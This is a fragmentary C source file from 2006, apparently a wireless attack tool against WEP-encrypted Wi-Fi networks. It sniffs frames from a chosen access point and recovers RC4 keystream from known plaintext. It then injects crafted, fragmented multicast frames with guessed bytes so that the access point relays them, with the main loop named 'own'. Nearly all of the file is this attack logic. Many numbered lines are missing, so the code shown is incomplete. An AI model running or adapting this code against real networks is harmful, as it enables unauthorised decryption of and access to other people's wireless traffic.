2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
29 #include <sys/types.h>
30 #include <sys/socket.h>
32 #include <netinet/in.h>
33 #include <arpa/inet.h>
34 #include <netinet/in_systm.h>
35 #include <netinet/ip.h>
52 struct ieee80211_frame *wh;
86 int wanted(struct params *p, struct ieee80211_frame *wh, int len)
90 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
99 if (memcmp(bssid, p->ap, 6) != 0)
102 if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
103 printf("Got non WEP packet...\n");
108 if (memcmp(p->mac, sa, 6) == 0)
114 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
116 struct queue *q = p->q;
119 struct queue *last = NULL;
135 /* need to create slot */
137 q = (struct queue*) malloc(sizeof(*q));
140 memset(q, 0, sizeof(*q));
159 printf("Enque. Size: %d\n", qlen);
163 void send_packet(struct params *p)
167 rc = inject(p->tx, p->packet, p->packet_len);
170 if (rc != p->packet_len) {
171 printf("Wrote %d/%d\n", rc, p->packet_len);
175 if (gettimeofday(&p->last, NULL) == -1)
176 err(1, "gettimeofday()");
178 #include <openssl/rc4.h>
179 void send_mcast(struct params *p, unsigned char x)
181 struct ieee80211_frame *wh;
183 struct queue *q = p->q;
186 uLong crc = crc32(0L, Z_NULL, 0);
190 char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00";
195 memset(p->packet, 0, sizeof(p->packet));
196 wh = (struct ieee80211_frame*) p->packet;
197 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
198 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
199 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
200 wh->i_fc[1] |= IEEE80211_FC1_WEP;
204 memcpy(wh->i_addr1, p->ap, 6);
205 memcpy(wh->i_addr2, p->mac, 6);
206 memcpy(wh->i_addr3, p->mcast, 5);
209 seq = (short*) wh->i_seq;
210 *seq = seqfn(p->seq++, 0);
213 data = (char*) (wh+1);
214 ptr = (char*) (q->wh+1);
215 memcpy(data, ptr, 3);
217 if (p->prga_len == 0) {
220 unsigned char key[8];
222 memset(&key[3], 0x61, 5);
223 memcpy(key, (q->wh+1), 3);
226 RC4_set_key(&k, 8, key);
227 memset(p->prga, 0, sizeof(p->prga));
228 RC4(&k, p->prga_len, p->prga, p->prga);
235 pt = known_pt(q->wh, &ptl);
238 for (i = 0; i < p->prga_len; i++)
239 p->prga[i] = ptr[i] ^ pt[i];
245 memcpy(data, payload, sizeof(payload));
247 len = p->prga_len + 1 - 4;
250 if (len < sizeof(payload)) {
252 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
257 pcrc = (uLong*) (data+len);
258 *pcrc = crc32(crc, data, len);
262 for (i = 0; i < (len); i++) {
263 assert( i <= p->prga_len);
264 data[i] ^= p->prga[i];
269 p->packet_len = len + 4;
272 /* the data we sent is too fucking short */
274 memset(data, 0, len);
277 *seq = seqfn(p->seq-1, 1);
278 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
281 len = sizeof(payload) - need_frag;
282 assert(len > 0 && len <= (p->prga_len - 4));
283 memcpy(data, &payload[need_frag], len);
286 crc = crc32(0L, Z_NULL, 0);
287 len = p->prga_len - 4;
288 pcrc = (uLong*) (data+len);
289 *pcrc = crc32(crc, data, len);
293 for (i = 0; i < len; i++) {
294 assert( i < p->prga_len);
295 data[i] ^= p->prga[i];
298 len += sizeof(*wh) + 4;
304 void send_queue(struct params *p)
306 struct queue *q = p->q;
312 for (i = 0; i < 5; i++) {
313 send_mcast(p, p->guess++);
316 p->state = S_WAIT_RELAY;
319 void got_mcast(struct params *p, struct ieee80211_frame *wh, int len)
324 void read_wifi(struct params *p)
326 static char *buf = 0;
327 static int buflen = 4096;
328 struct ieee80211_frame *wh;
332 buf = (char*) malloc(buflen);
337 rc = sniff(p->rx, buf, buflen);
341 wh = get_wifi(buf, &rc);
346 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
347 IEEE80211_FC0_SUBTYPE_DATA) &&
348 (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
349 (memcmp(wh->i_addr2, p->ap, 6) == 0) &&
350 (memcmp(wh->i_addr1, p->mcast, 5) == 0) &&
351 (memcmp(p->mac, wh->i_addr3, 6) == 0)) {
352 got_mcast(p, wh, rc);
357 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
358 IEEE80211_FC0_SUBTYPE_DATA)) {
359 if (!wanted(p, wh, rc))
362 enque(p, &buf, wh, rc);
363 if (p->state == S_START)
369 void own(struct params *p)
372 struct timeval *to = NULL;
376 if (p->state == S_WAIT_RELAY) {
380 if (gettimeofday(&tv, NULL) == -1)
381 err(1, "gettimeofday()");
383 el = elapsed(&p->last, &tv);
387 if (p->q && p->q->live) {
396 tv.tv_sec = el/1000/1000;
397 tv.tv_usec = el - tv.tv_sec*1000*1000;
404 if (select(p->rx+1, &fds, NULL, NULL, to) == -1)
407 if (FD_ISSET(p->rx, &fds))
411 void usage(char *name)
413 printf("Usage %s <opts>\n"
421 int main(int argc, char *argv[])
424 char *iface = "wlan0";
428 memset(&p, 0, sizeof(p));
429 memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
431 memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5);
433 while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
440 if (str2mac(p.ap, optarg) == -1) {
441 printf("Can't parse BSSID\n");
453 if ((p.rx = open_rx(iface)) == -1)
455 if ((p.tx = open_tx(iface)) == -1)
458 if ((p.tap = open_tap(tap)) == -1)
459 err(1, "open_tap()");
460 if (set_iface_mac(tap, p.mac) == -1)
461 err(1, "set_iface_mac()");